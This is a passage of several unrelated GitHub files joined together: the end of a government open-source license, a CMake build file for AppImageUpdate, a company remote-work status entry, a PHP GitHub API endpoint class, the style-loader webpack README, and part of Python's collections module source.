as a single product. In such case, the Recipient must make sure Subject Software, or portions thereof, included in the Larger Work is subject to this Agreement. </li> <li> <var class="replacable-license-text">J.</var> Notwithstanding any provisions contained herein, Recipient is hereby put on notice that export of any goods or technical data from the United States may require some form of export license from the U.S. Government. Failure to obtain necessary export licenses may result in criminal liability under U.S. laws. Government Agency neither represents that a license shall not be required nor that, if required, it shall be issued. Nothing granted herein provides any such export license. </li> </ul> </li> <li> <p>DISCLAIMER OF WARRANTIES AND LIABILITIES; WAIVER AND INDEMNIFICATION</p> <ul style="list-style:none"> <li> <var class="replacable-license-text">A.</var> No Warranty: THE SUBJECT SOFTWARE IS PROVIDED &quot;AS IS&quot; WITHOUT ANY WARRANTY OF ANY KIND, EITHER EXPRESSED, IMPLIED, OR STATUTORY, INCLUDING, BUT NOT LIMITED TO, ANY WARRANTY THAT THE SUBJECT SOFTWARE WILL CONFORM TO SPECIFICATIONS, ANY IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, OR FREEDOM FROM INFRINGEMENT, ANY WARRANTY THAT THE SUBJECT SOFTWARE WILL BE ERROR FREE, OR ANY WARRANTY THAT DOCUMENTATION, IF PROVIDED, WILL CONFORM TO THE SUBJECT SOFTWARE. THIS AGREEMENT DOES NOT, IN ANY MANNER, CONSTITUTE AN ENDORSEMENT BY GOVERNMENT AGENCY OR ANY PRIOR RECIPIENT OF ANY RESULTS, RESULTING DESIGNS, HARDWARE, SOFTWARE PRODUCTS OR ANY OTHER APPLICATIONS RESULTING FROM USE OF THE SUBJECT SOFTWARE. FURTHER, GOVERNMENT AGENCY DISCLAIMS ALL WARRANTIES AND LIABILITIES REGARDING THIRD-PARTY SOFTWARE, IF PRESENT IN THE ORIGINAL SOFTWARE, AND DISTRIBUTES IT &quot;AS IS.&quot; </li> <li> <var class="replacable-license-text">B.</var> Waiver and Indemnity: RECIPIENT AGREES TO WAIVE ANY AND ALL CLAIMS AGAINST THE UNITED STATES GOVERNMENT, ITS CONTRACTORS AND SUBCONTRACTORS, AS WELL AS ANY PRIOR RECIPIENT. IF RECIPIENT&apos;S USE OF THE SUBJECT SOFTWARE RESULTS IN ANY LIABILITIES, DEMANDS, DAMAGES, EXPENSES OR LOSSES ARISING FROM SUCH USE, INCLUDING ANY DAMAGES FROM PRODUCTS BASED ON, OR RESULTING FROM, RECIPIENT&apos;S USE OF THE SUBJECT SOFTWARE, RECIPIENT SHALL INDEMNIFY AND HOLD HARMLESS THE UNITED STATES GOVERNMENT, ITS CONTRACTORS AND SUBCONTRACTORS, AS WELL AS ANY PRIOR RECIPIENT, TO THE EXTENT PERMITTED BY LAW. RECIPIENT&apos;S SOLE REMEDY FOR ANY SUCH MATTER SHALL BE THE IMMEDIATE, UNILATERAL TERMINATION OF THIS AGREEMENT. </li> </ul> </li> <li> <p>GENERAL TERMS</p> <ul style="list-style:none"> <li> <var class="replacable-license-text">A.</var> Termination: This Agreement and the rights granted hereunder will terminate automatically if a Recipient fails to comply with these terms and conditions, and fails to cure such noncompliance within thirty (30) days of becoming aware of such noncompliance. Upon termination, a Recipient agrees to immediately cease use and distribution of the Subject Software. All sublicenses to the Subject Software properly granted by the breaching Recipient shall survive any such termination of this Agreement. </li> <li> <var class="replacable-license-text">B.</var> Severability: If any provision of this Agreement is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this Agreement. </li> <li> <var class="replacable-license-text">C.</var> Applicable Law: This Agreement shall be subject to United States federal law only for all purposes, including, but not limited to, determining the validity of this Agreement, the meaning of its provisions and the rights, obligations and remedies of the parties. </li> <li> <var class="replacable-license-text">D.</var> Entire Understanding: This Agreement constitutes the entire understanding and agreement of the parties relating to release of the Subject Software and may not be superseded, modified or amended except by further written agreement duly executed by the parties. </li> <li> <var class="replacable-license-text">E.</var> Binding Authority: By accepting and using the Subject Software under this Agreement, a Recipient affirms its authority to bind the Recipient to all terms and conditions of this Agreement and that that Recipient hereby agrees to all terms and conditions herein. </li> <li> <var class="replacable-license-text">F.</var> Point of Contact: Any Recipient contact with Government Agency is to be directed to the designated representative as follows: <var class="replacable-license-text">_______________</var>. </li> </ul> </li> </ul>
{ "pile_set_name": "Github" }
# Qt dependencies find_package(Qt5 REQUIRED COMPONENTS Core Widgets) # run moc automatically when needed set(CMAKE_INCLUDE_CURRENT_DIR ON) set(CMAKE_AUTOMOC ON) # library with the Qt UI classes add_library(libappimageupdate-qt SHARED qt-updater.cpp spoiler.cpp ${PROJECT_SOURCE_DIR}/include/appimage/update/qt-ui.h) target_link_libraries(libappimageupdate-qt libappimageupdate Qt5::Core Qt5::Widgets) set_target_properties(libappimageupdate-qt PROPERTIES PREFIX "" PUBLIC_HEADER ${PROJECT_SOURCE_DIR}/include/appimage/update/qt-ui.h ) target_include_directories(libappimageupdate-qt PUBLIC $<BUILD_INTERFACE:${PROJECT_SOURCE_DIR}/include> $<INSTALL_INTERFACE:include> ) target_compile_definitions(libappimageupdate-qt PRIVATE -DQT_UI) # library with the Qt UI classes (for static linking, see #110) add_library(libappimageupdate-qt_static STATIC qt-updater.cpp spoiler.cpp ${PROJECT_SOURCE_DIR}/include/appimage/update/qt-ui.h) target_link_libraries(libappimageupdate-qt_static libappimageupdate Qt5::Core Qt5::Widgets) set_target_properties(libappimageupdate-qt_static PROPERTIES PREFIX "" PUBLIC_HEADER ${PROJECT_SOURCE_DIR}/include/appimage/update/qt-ui.h ) target_include_directories(libappimageupdate-qt_static PUBLIC $<BUILD_INTERFACE:${PROJECT_SOURCE_DIR}/include> $<INSTALL_INTERFACE:include> ) target_compile_definitions(libappimageupdate-qt_static PRIVATE -DQT_UI) # Qt GUI application add_executable(AppImageUpdate main.cpp) add_sanitizers(AppImageUpdate) # link libraries target_link_libraries(AppImageUpdate libappimageupdate libappimageupdate-qt) target_compile_definitions(AppImageUpdate PRIVATE -DQT_UI) # set up rpath set_target_properties(libappimageupdate-qt PROPERTIES INSTALL_RPATH "\$ORIGIN") set_target_properties(libappimageupdate-qt_static PROPERTIES INSTALL_RPATH "\$ORIGIN") set_target_properties(AppImageUpdate PROPERTIES INSTALL_RPATH "\$ORIGIN/../lib") # install targets install( TARGETS libappimageupdate-qt libappimageupdate-qt_static AppImageUpdate RUNTIME DESTINATION bin COMPONENT APPIMAGEUPDATE LIBRARY DESTINATION lib COMPONENT LIBAPPIMAGEUPDATE-QT ARCHIVE DESTINATION lib COMPONENT LIBAPPIMAGEUPDATE-QT PUBLIC_HEADER DESTINATION include/appimage/update COMPONENT LIBAPPIMAGEUPDATE-QT-DEV )
{ "pile_set_name": "Github" }
--- name: Ashampoo GmbH & Co. KG wfh: Required travel: Restricted visitors: Restricted events: Restricted last_update: 2020-03-16
{ "pile_set_name": "Github" }
<?php namespace Github\Endpoint; class ActivityStarRepoForAuthenticatedUser extends \Github\Runtime\Client\BaseEndpoint implements \Github\Runtime\Client\Endpoint { protected $owner; protected $repo; /** * Note that you'll need to set `Content-Length` to zero when calling out to this endpoint. For more information, see "[HTTP verbs](https://developer.github.com/v3/#http-verbs)." * * @param string $owner * @param string $repo */ public function __construct(string $owner, string $repo) { $this->owner = $owner; $this->repo = $repo; } use \Github\Runtime\Client\EndpointTrait; public function getMethod() : string { return 'PUT'; } public function getUri() : string { return str_replace(array('{owner}', '{repo}'), array($this->owner, $this->repo), '/user/starred/{owner}/{repo}'); } public function getBody(\Symfony\Component\Serializer\SerializerInterface $serializer, $streamFactory = null) : array { return array(array(), null); } public function getExtraHeaders() : array { return array('Accept' => array('application/json')); } /** * {@inheritdoc} * * @throws \Github\Exception\ActivityStarRepoForAuthenticatedUserForbiddenException * @throws \Github\Exception\ActivityStarRepoForAuthenticatedUserNotFoundException * @throws \Github\Exception\ActivityStarRepoForAuthenticatedUserUnauthorizedException * * @return null */ protected function transformResponseBody(string $body, int $status, \Symfony\Component\Serializer\SerializerInterface $serializer, ?string $contentType = null) { if (204 === $status) { return null; } if (403 === $status && mb_strpos($contentType, 'application/json') !== false) { throw new \Github\Exception\ActivityStarRepoForAuthenticatedUserForbiddenException($serializer->deserialize($body, 'Github\\Model\\BasicError', 'json')); } if (404 === $status && mb_strpos($contentType, 'application/json') !== false) { throw new \Github\Exception\ActivityStarRepoForAuthenticatedUserNotFoundException($serializer->deserialize($body, 'Github\\Model\\BasicError', 'json')); } if (401 === $status && mb_strpos($contentType, 'application/json') !== false) { throw new \Github\Exception\ActivityStarRepoForAuthenticatedUserUnauthorizedException($serializer->deserialize($body, 'Github\\Model\\BasicError', 'json')); } if (304 === $status) { return null; } } public function getAuthenticationScopes() : array { return array(); } }
{ "pile_set_name": "Github" }
[![npm][npm]][npm-url] [![node][node]][node-url] [![deps][deps]][deps-url] [![chat][chat]][chat-url] <div align="center"> <a href="https://github.com/webpack/webpack"> <img width="200" height="200" src="https://webpack.js.org/assets/icon-square-big.svg"> </a> <h1>Style Loader</h1> <p>Adds CSS to the DOM by injecting a <code>&lt;style&gt;</code> tag</p> </div> <h2 align="center">Install</h2> ```bash npm install style-loader --save-dev ``` <h2 align="center"><a href="https://webpack.js.org/concepts/loaders">Usage</a></h2> It's recommended to combine `style-loader` with the [`css-loader`](https://github.com/webpack/css-loader) **component.js** ```js import style from './file.css' ``` **webpack.config.js** ```js { module: { rules: [ { test: /\.css$/, use: [ { loader: "style-loader" }, { loader: "css-loader" } ] } ] } } ``` #### `Locals (CSS Modules)` When using [local scoped CSS](https://github.com/webpack/css-loader#css-scope) the module exports the generated identifiers (locals). **component.js** ```js import style from './file.css' style.className === "z849f98ca812" ``` ### `Url` It's also possible to add a URL `<link href="path/to/file.css" rel="stylesheet">` instead of inlining the CSS `{String}` with `<style></style>` tag. ```js import url from 'file.css' ``` **webpack.config.js** ```js { module: { rules: [ { test: /\.css$/, use: [ { loader: "style-loader/url" }, { loader: "file-loader" } ] } ] } } ``` ```html <link rel="stylesheet" href="path/to/file.css"> ``` > :information_source: Source maps and assets referenced with `url`: when style loader is used with `{ options: { sourceMap: true } }` option, the CSS modules will be generated as `Blob`s, so relative paths don't work (they would be relative to `chrome:blob` or `chrome:devtools`). In order for assets to maintain correct paths setting `output.publicPath` property of webpack configuration must be set, so that absolute paths are generated. Alternatively you can enable the `convertToAbsoluteUrls` option mentioned above. ### `Useable` By convention the `Reference Counter API` should be bound to `.useable.css` and the `.css` should be loaded with basic `style-loader` usage.(similar to other file types, i.e. `.useable.less` and `.less`). **webpack.config.js** ```js { module: { rules: [ { test: /\.css$/, use: [ { loader: "style-loader" }, { loader: "css-loader" }, ], }, { test: /\.useable\.css$/, use: [ { loader: "style-loader/useable" }, { loader: "css-loader" }, ], }, ], }, } ``` #### `Reference Counter API` **component.js** ```js import style from './file.css' style.use(); // = style.ref(); style.unuse(); // = style.unref(); ``` Styles are not added on `import/require()`, but instead on call to `use`/`ref`. Styles are removed from page if `unuse`/`unref` is called exactly as often as `use`/`ref`. :warning: Behavior is undefined when `unuse`/`unref` is called more often than `use`/`ref`. Don't do that. <h2 align="center">Options</h2> |Name|Type|Default|Description| |:--:|:--:|:-----:|:----------| |**`hmr`**|`{Boolean}`|`true`|Enable/disable Hot Module Replacement (HMR), if disabled no HMR Code will be added (good for non local development/production)| |**`base`** |`{Number}`|`true`|Set module ID base (DLLPlugin)| |**`attrs`**|`{Object}`|`{}`|Add custom attrs to `<style></style>`| |**`transform`** |`{Function}`|`false`|Transform/Conditionally load CSS by passing a transform/condition function| |**`insertAt`**|`{String\|Object}`|`bottom`|Inserts `<style></style>` at the given position| |**`insertInto`**|`{String}`|`<head>`|Inserts `<style></style>` into the given position| |**`singleton`**|`{Boolean}`|`undefined`|Reuses a single `<style></style>` element, instead of adding/removing individual elements for each required module.| |**`sourceMap`**|`{Boolean}`|`false`|Enable/Disable Sourcemaps| |**`convertToAbsoluteUrls`**|`{Boolean}`|`false`|Converts relative URLs to absolute urls, when source maps are enabled| ### `hmr` Enable/disable Hot Module Replacement (HMR), if disabled no HMR Code will be added. This could be used for non local development and production. **webpack.config.js** ```js { loader: 'style-loader', options: { hmr: false } } ``` ### `base` This setting is primarily used as a workaround for [css clashes](https://github.com/webpack-contrib/style-loader/issues/163) when using one or more [DllPlugin](https://robertknight.github.io/posts/webpack-dll-plugins/)'s. `base` allows you to prevent either the *app*'s css (or *DllPlugin2*'s css) from overwriting *DllPlugin1*'s css by specifying a css module id base which is greater than the range used by *DllPlugin1* e.g.: **webpack.dll1.config.js** ```js { test: /\.css$/, use: [ 'style-loader', 'css-loader' ] } ``` **webpack.dll2.config.js** ```js { test: /\.css$/, use: [ { loader: 'style-loader', options: { base: 1000 } }, 'css-loader' ] } ``` **webpack.app.config.js** ``` { test: /\.css$/, use: [ { loader: 'style-loader', options: { base: 2000 } }, 'css-loader' ] } ``` ### `attrs` If defined, style-loader will attach given attributes with their values on `<style>` / `<link>` element. **component.js** ```js import style from './file.css' ``` **webpack.config.js** ```js { test: /\.css$/, use: [ { loader: 'style-loader', options: { attrs: { id: 'id' } } } { loader: 'css-loader' } ] } ``` ```html <style id="id"></style> ``` #### `Url` **component.js** ```js import link from './file.css' ``` **webpack.config.js** ```js { test: /\.css$/, use: [ { loader: 'style-loader/url', options: { attrs: { id: 'id' } } } { loader: 'file-loader' } ] } ``` ### `transform` A `transform` is a function that can modify the css just before it is loaded into the page by the style-loader. This function will be called on the css that is about to be loaded and the return value of the function will be loaded into the page instead of the original css. If the return value of the `transform` function is falsy, the css will not be loaded into the page at all. **webpack.config.js** ```js { loader: 'style-loader', options: { transform: 'path/to/transform.js' } } ``` **transform.js** ```js module.exports = function (css) { // Here we can change the original css const transformed = css.replace('.classNameA', '.classNameB') return transformed } ``` #### `Conditional` **webpack.config.js** ```js { loader: 'style-loader', options: { transform: 'path/to/conditional.js' } } ``` **conditional.js** ```js module.exports = function (css) { // If the condition is matched load [and transform] the CSS if (css.includes('something I want to check')) { return css; } // If a falsy value is returned, the CSS won't be loaded return false } ``` ### `insertAt` By default, the style-loader appends `<style>` elements to the end of the style target, which is the `<head>` tag of the page unless specified by `insertInto`. This will cause CSS created by the loader to take priority over CSS already present in the target. To insert style elements at the beginning of the target, set this query parameter to 'top', e.g **webpack.config.js** ```js { loader: 'style-loader', options: { insertAt: 'top' } } ``` A new `<style>` element can be inserted before a specific element by passing an object, e.g. **webpack.config.js** ```js { loader: 'style-loader', options: { insertAt: { before: '#id' } } } ``` ### `insertInto` By default, the style-loader inserts the `<style>` elements into the `<head>` tag of the page. If you want the tags to be inserted somewhere else you can specify a CSS selector for that element here. If you target an [IFrame](https://developer.mozilla.org/en-US/docs/Web/API/HTMLIFrameElement) make sure you have sufficient access rights, the styles will be injected into the content document head. You can also insert the styles into a [ShadowRoot](https://developer.mozilla.org/en-US/docs/Web/API/ShadowRoot), e.g **webpack.config.js** ```js { loader: 'style-loader', options: { insertInto: '#host::shadow>#root' } } ``` ### `singleton` If defined, the style-loader will reuse a single `<style></style>` element, instead of adding/removing individual elements for each required module. > ℹ️ This option is on by default in IE9, which has strict limitations on the number of style tags allowed on a page. You can enable or disable it with the singleton option. **webpack.config.js** ```js { loader: 'style-loader', options: { singleton: true } } ``` ### `sourceMap` Enable/Disable source map loading **webpack.config.js** ```js { loader: 'style-loader', options: { sourceMap: true } } ``` ### `convertToAbsoluteUrls` If convertToAbsoluteUrls and sourceMaps are both enabled, relative urls will be converted to absolute urls right before the css is injected into the page. This resolves [an issue](https://github.com/webpack/style-loader/pull/96) where relative resources fail to load when source maps are enabled. You can enable it with the convertToAbsoluteUrls option. **webpack.config.js** ```js { loader: 'style-loader', options: { sourceMap: true, convertToAbsoluteUrls: true } } ``` <h2 align="center">Maintainers</h2> <table> <tbody> <tr> <td align="center"> <a href="https://github.com/bebraw"> <img width="150" height="150" src="https://github.com/bebraw.png?v=3&s=150"> </br> Juho Vepsäläinen </a> </td> <td align="center"> <a href="https://github.com/d3viant0ne"> <img width="150" height="150" src="https://github.com/d3viant0ne.png?v=3&s=150"> </br> Joshua Wiens </a> </td> <td align="center"> <a href="https://github.com/sapegin"> <img width="150" height="150" src="https://github.com/sapegin.png?v=3&s=150"> </br> Artem Sapegin </a> </td> <td align="center"> <a href="https://github.com/michael-ciniawsky"> <img width="150" height="150" src="https://github.com/michael-ciniawsky.png?v=3&s=150"> </br> Michael Ciniawsky </a> </td> <td align="center"> <a href="https://github.com/evilebottnawi"> <img width="150" height="150" src="https://github.com/evilebottnawi.png?v=3&s=150"> </br> Alexander Krasnoyarov </a> </td> </tr> <tr> <td align="center"> <a href="https://github.com/sokra"> <img width="150" height="150" src="https://github.com/sokra.png?v=3&s=150"> </br> Tobias Koppers </a> </td> <td align="center"> <a href="https://github.com/SpaceK33z"> <img width="150" height="150" src="https://github.com/SpaceK33z.png?v=3&s=150"> </br> Kees Kluskens </a> </td> <tr> <tbody> </table> [npm]: https://img.shields.io/npm/v/style-loader.svg [npm-url]: https://npmjs.com/package/style-loader [node]: https://img.shields.io/node/v/style-loader.svg [node-url]: https://nodejs.org [deps]: https://david-dm.org/webpack/style-loader.svg [deps-url]: https://david-dm.org/webpack/file-loader [chat]: https://badges.gitter.im/webpack/webpack.svg [chat-url]: https://gitter.im/webpack/webpack
{ "pile_set_name": "Github" }
'''This module implements specialized container datatypes providing alternatives to Python's general purpose built-in containers, dict, list, set, and tuple. * namedtuple factory function for creating tuple subclasses with named fields * deque list-like container with fast appends and pops on either end * ChainMap dict-like class for creating a single view of multiple mappings * Counter dict subclass for counting hashable objects * OrderedDict dict subclass that remembers the order entries were added * defaultdict dict subclass that calls a factory function to supply missing values * UserDict wrapper around dictionary objects for easier dict subclassing * UserList wrapper around list objects for easier list subclassing * UserString wrapper around string objects for easier string subclassing ''' __all__ = ['deque', 'defaultdict', 'namedtuple', 'UserDict', 'UserList', 'UserString', 'Counter', 'OrderedDict', 'ChainMap'] # For backwards compatibility, continue to make the collections ABCs # available through the collections module. from _collections_abc import * import _collections_abc __all__ += _collections_abc.__all__ from operator import itemgetter as _itemgetter, eq as _eq from keyword import iskeyword as _iskeyword import sys as _sys import heapq as _heapq from _weakref import proxy as _proxy from itertools import repeat as _repeat, chain as _chain, starmap as _starmap from reprlib import recursive_repr as _recursive_repr try: from _collections import deque except ImportError: pass else: MutableSequence.register(deque) try: from _collections import defaultdict except ImportError: pass ################################################################################ ### OrderedDict ################################################################################ class _OrderedDictKeysView(KeysView): def __reversed__(self): yield from reversed(self._mapping) class _OrderedDictItemsView(ItemsView): def __reversed__(self): for key in reversed(self._mapping): yield (key, self._mapping[key]) class _OrderedDictValuesView(ValuesView): def __reversed__(self): for key in reversed(self._mapping): yield self._mapping[key] class _Link(object): __slots__ = 'prev', 'next', 'key', '__weakref__' class OrderedDict(dict): 'Dictionary that remembers insertion order' # An inherited dict maps keys to values. # The inherited dict provides __getitem__, __len__, __contains__, and get. # The remaining methods are order-aware. # Big-O running times for all methods are the same as regular dictionaries. # The internal self.__map dict maps keys to links in a doubly linked list. # The circular doubly linked list starts and ends with a sentinel element. # The sentinel element never gets deleted (this simplifies the algorithm). # The sentinel is in self.__hardroot with a weakref proxy in self.__root. # The prev links are weakref proxies (to prevent circular references). # Individual links are kept alive by the hard reference in self.__map. # Those hard references disappear when a key is deleted from an OrderedDict. def __init__(*args, **kwds): '''Initialize an ordered dictionary. The signature is the same as regular dictionaries. Keyword argument order is preserved. ''' if not args: raise TypeError("descriptor '__init__' of 'OrderedDict' object " "needs an argument") self, *args = args if len(args) > 1: raise TypeError('expected at most 1 arguments, got %d' % len(args)) try: self.__root except AttributeError: self.__hardroot = _Link() self.__root = root = _proxy(self.__hardroot) root.prev = root.next = root self.__map = {} self.__update(*args, **kwds) def __setitem__(self, key, value, dict_setitem=dict.__setitem__, proxy=_proxy, Link=_Link): 'od.__setitem__(i, y) <==> od[i]=y' # Setting a new item creates a new link at the end of the linked list, # and the inherited dictionary is updated with the new key/value pair. if key not in self: self.__map[key] = link = Link() root = self.__root last = root.prev link.prev, link.next, link.key = last, root, key last.next = link root.prev = proxy(link) dict_setitem(self, key, value) def __delitem__(self, key, dict_delitem=dict.__delitem__): 'od.__delitem__(y) <==> del od[y]' # Deleting an existing item uses self.__map to find the link which gets # removed by updating the links in the predecessor and successor nodes. dict_delitem(self, key) link = self.__map.pop(key) link_prev = link.prev link_next = link.next link_prev.next = link_next link_next.prev = link_prev link.prev = None link.next = None def __iter__(self): 'od.__iter__() <==> iter(od)' # Traverse the linked list in order. root = self.__root curr = root.next while curr is not root: yield curr.key curr = curr.next def __reversed__(self): 'od.__reversed__() <==> reversed(od)' # Traverse the linked list in reverse order. root = self.__root curr = root.prev while curr is not root: yield curr.key curr = curr.prev def clear(self): 'od.clear() -> None. Remove all items from od.' root = self.__root root.prev = root.next = root self.__map.clear() dict.clear(self) def popitem(self, last=True): '''Remove and return a (key, value) pair from the dictionary. Pairs are returned in LIFO order if last is true or FIFO order if false. ''' if not self: raise KeyError('dictionary is empty') root = self.__root if last: link = root.prev link_prev = link.prev link_prev.next = root root.prev = link_prev else: link = root.next link_next = link.next root.next = link_next link_next.prev = root key = link.key del self.__map[key] value = dict.pop(self, key) return key, value def move_to_end(self, key, last=True): '''Move an existing element to the end (or beginning if last==False). Raises KeyError if the element does not exist. When last=True, acts like a fast version of self[key]=self.pop(key). ''' link = self.__map[key] link_prev = link.prev link_next = link.next soft_link = link_next.prev link_prev.next = link_next link_next.prev = link_prev root = self.__root if last: last = root.prev link.prev = last link.next = root root.prev = soft_link last.next = link else: first = root.next link.prev = root link.next = first first.prev = soft_link root.next = link def __sizeof__(self): sizeof = _sys.getsizeof n = len(self) + 1 # number of links including root size = sizeof(self.__dict__) # instance dictionary size += sizeof(self.__map) * 2 # internal dict and inherited dict size += sizeof(self.__hardroot) * n # link objects size += sizeof(self.__root) * n # proxy objects return size update = __update = MutableMapping.update def keys(self): "D.keys() -> a set-like object providing a view on D's keys" return _OrderedDictKeysView(self) def items(self): "D.items() -> a set-like object providing a view on D's items" return _OrderedDictItemsView(self) def values(self): "D.values() -> an object providing a view on D's values" return _OrderedDictValuesView(self) __ne__ = MutableMapping.__ne__ __marker = object() def pop(self, key, default=__marker): '''od.pop(k[,d]) -> v, remove specified key and return the corresponding value. If key is not found, d is returned if given, otherwise KeyError is raised. ''' if key in self: result = self[key] del self[key] return result if default is self.__marker: raise KeyError(key) return default def setdefault(self, key, default=None): 'od.setdefault(k[,d]) -> od.get(k,d), also set od[k]=d if k not in od' if key in self: return self[key] self[key] = default return default @_recursive_repr() def __repr__(self): 'od.__repr__() <==> repr(od)' if not self: return '%s()' % (self.__class__.__name__,) return '%s(%r)' % (self.__class__.__name__, list(self.items())) def __reduce__(self): 'Return state information for pickling' inst_dict = vars(self).copy() for k in vars(OrderedDict()): inst_dict.pop(k, None) return self.__class__, (), inst_dict or None, None, iter(self.items()) def copy(self): 'od.copy() -> a shallow copy of od' return self.__class__(self) @classmethod def fromkeys(cls, iterable, value=None): '''OD.fromkeys(S[, v]) -> New ordered dictionary with keys from S. If not specified, the value defaults to None. ''' self = cls() for key in iterable: self[key] = value return self def __eq__(self, other): '''od.__eq__(y) <==> od==y. Comparison to another OD is order-sensitive while comparison to a regular mapping is order-insensitive. ''' if isinstance(other, OrderedDict): return dict.__eq__(self, other) and all(map(_eq, self, other)) return dict.__eq__(self, other) try: from _collections import OrderedDict except ImportError: # Leave the pure Python version in place. pass ################################################################################ ### namedtuple ################################################################################ _class_template = """\ from builtins import property as _property, tuple as _tuple from operator import itemgetter as _itemgetter from collections import OrderedDict class {typename}(tuple): '{typename}({arg_list})' __slots__ = () _fields = {field_names!r} def __new__(_cls, {arg_list}): 'Create new instance of {typename}({arg_list})' return _tuple.__new__(_cls, ({arg_list})) @classmethod def _make(cls, iterable, new=tuple.__new__, len=len): 'Make a new {typename} object from a sequence or iterable' result = new(cls, iterable) if len(result) != {num_fields:d}: raise TypeError('Expected {num_fields:d} arguments, got %d' % len(result)) return result def _replace(_self, **kwds): 'Return a new {typename} object replacing specified fields with new values' result = _self._make(map(kwds.pop, {field_names!r}, _self)) if kwds: raise ValueError('Got unexpected field names: %r' % list(kwds)) return result def __repr__(self): 'Return a nicely formatted representation string' return self.__class__.__name__ + '({repr_fmt})' % self def _asdict(self): 'Return a new OrderedDict which maps field names to their values.' return OrderedDict(zip(self._fields, self)) def __getnewargs__(self): 'Return self as a plain tuple. Used by copy and pickle.' return tuple(self) {field_defs} """ _repr_template = '{name}=%r' _field_template = '''\ {name} = _property(_itemgetter({index:d}), doc='Alias for field number {index:d}') ''' def namedtuple(typename, field_names, *, verbose=False, rename=False, module=None): """Returns a new subclass of tuple with named fields. >>> Point = namedtuple('Point', ['x', 'y']) >>> Point.__doc__ # docstring for the new class 'Point(x, y)' >>> p = Point(11, y=22) # instantiate with positional args or keywords >>> p[0] + p[1] # indexable like a plain tuple 33 >>> x, y = p # unpack like a regular tuple >>> x, y (11, 22) >>> p.x + p.y # fields also accessible by name 33 >>> d = p._asdict() # convert to a dictionary >>> d['x'] 11 >>> Point(**d) # convert from a dictionary Point(x=11, y=22) >>> p._replace(x=100) # _replace() is like str.replace() but targets named fields Point(x=100, y=22) """ # Validate the field names. At the user's option, either generate an error # message or automatically replace the field name with a valid name. if isinstance(field_names, str): field_names = field_names.replace(',', ' ').split() field_names = list(map(str, field_names)) typename = str(typename) if rename: seen = set() for index, name in enumerate(field_names): if (not name.isidentifier() or _iskeyword(name) or name.startswith('_') or name in seen): field_names[index] = '_%d' % index seen.add(name) for name in [typename] + field_names: if type(name) is not str: raise TypeError('Type names and field names must be strings') if not name.isidentifier(): raise ValueError('Type names and field names must be valid ' 'identifiers: %r' % name) if _iskeyword(name): raise ValueError('Type names and field names cannot be a ' 'keyword: %r' % name) seen = set() for name in field_names: if name.startswith('_') and not rename: raise ValueError('Field names cannot start with an underscore: ' '%r' % name) if name in seen: raise ValueError('Encountered duplicate field name: %r' % name) seen.add(name) # Fill-in the class template class_definition = _class_template.format( typename = typename, field_names = tuple(field_names), num_fields = len(field_names), arg_list = repr(tuple(field_names)).replace("'", "")[1:-1], repr_fmt = ', '.join(_repr_template.format(name=name) for name in field_names), field_defs = '\n'.join(_field_template.format(index=index, name=name) for index, name in enumerate(field_names)) ) # Execute the template string in a temporary namespace and support # tracing utilities by setting a value for frame.f_globals['__name__'] namespace = dict(__name__='namedtuple_%s' % typename) exec(class_definition, namespace) result = namespace[typename] result._source = class_definition if verbose: print(result._source) # For pickling to work, the __module__ variable needs to be set to the frame # where the named tuple is created. Bypass this step in environments where # sys._getframe is not defined (Jython for example) or sys._getframe is not # defined for arguments greater than 0 (IronPython), or where the user has # specified a particular module. if module is None: try: module = _sys._getframe(1).f_globals.get('__name__', '__main__') except (AttributeError, ValueError): pass if module is not None: result.__module__ = module return result ######################################################################## ### Counter ######################################################################## def _count_elements(mapping, iterable): 'Tally elements from the iterable.' mapping_get = mapping.get for elem in iterable: mapping[elem] = mapping_get(elem, 0) + 1 try: # Load C helper function if available from _collections import _count_elements except ImportError: pass class Counter(dict): '''Dict subclass for counting hashable items. Sometimes called a bag or multiset. Elements are stored as dictionary keys and their counts are stored as dictionary values. >>> c = Counter('abcdeabcdabcaba') # count elements from a string >>> c.most_common(3) # three most common elements [('a', 5), ('b', 4), ('c', 3)] >>> sorted(c) # list all unique elements ['a', 'b', 'c', 'd', 'e'] >>> ''.join(sorted(c.elements())) # list elements with repetitions 'aaaaabbbbcccdde' >>> sum(c.values()) # total of all counts 15 >>> c['a'] # count of letter 'a' 5 >>> for elem in 'shazam': # update counts from an iterable ... c[elem] += 1 # by adding 1 to each element's count >>> c['a'] # now there are seven 'a' 7 >>> del c['b'] # remove all 'b' >>> c['b'] # now there are zero 'b' 0 >>> d = Counter('simsalabim') # make another counter >>> c.update(d) # add in the second counter >>> c['a'] # now there are nine 'a' 9 >>> c.clear() # empty the counter >>> c Counter() Note: If a count is set to zero or reduced to zero, it will remain in the counter until the entry is deleted or the counter is cleared: >>> c = Counter('aaabbc') >>> c['b'] -= 2 # reduce the count of 'b' by two >>> c.most_common() # 'b' is still in, but its count is zero [('a', 3), ('c', 1), ('b', 0)] ''' # References: # http://en.wikipedia.org/wiki/Multiset # http://www.gnu.org/software/smalltalk/manual-base/html_node/Bag.html # http://www.demo2s.com/Tutorial/Cpp/0380__set-multiset/Catalog0380__set-multiset.htm # http://code.activestate.com/recipes/259174/ # Knuth, TAOCP Vol. II section 4.6.3 def __init__(*args, **kwds): '''Create a new, empty Counter object. And if given, count elements from an input iterable. Or, initialize the count from another mapping of elements to their counts. >>> c = Counter() # a new, empty counter >>> c = Counter('gallahad') # a new counter from an iterable >>> c = Counter({'a': 4, 'b': 2}) # a new counter from a mapping >>> c = Counter(a=4, b=2) # a new counter from keyword args ''' if not args: raise TypeError("descriptor '__init__' of 'Counter' object " "needs an argument") self, *args = args if len(args) > 1: raise TypeError('expected at most 1 arguments, got %d' % len(args)) super(Counter, self).__init__() self.update(*args, **kwds) def __missing__(self, key): 'The count of elements not in the Counter is zero.' # Needed so that self[missing_item] does not raise KeyError return 0 def most_common(self, n=None): '''List the n most common elements and their counts from the most common to the least. If n is None, then list all element counts. >>> Counter('abcdeabcdabcaba').most_common(3) [('a', 5), ('b', 4), ('c', 3)] ''' # Emulate Bag.sortedByCount from Smalltalk if n is None: return sorted(self.items(), key=_itemgetter(1), reverse=True) return _heapq.nlargest(n, self.items(), key=_itemgetter(1)) def elements(self): '''Iterator over elements repeating each as many times as its count. >>> c = Counter('ABCABC') >>> sorted(c.elements()) ['A', 'A', 'B', 'B', 'C', 'C'] # Knuth's example for prime factors of 1836: 2**2 * 3**3 * 17**1 >>> prime_factors = Counter({2: 2, 3: 3, 17: 1}) >>> product = 1 >>> for factor in 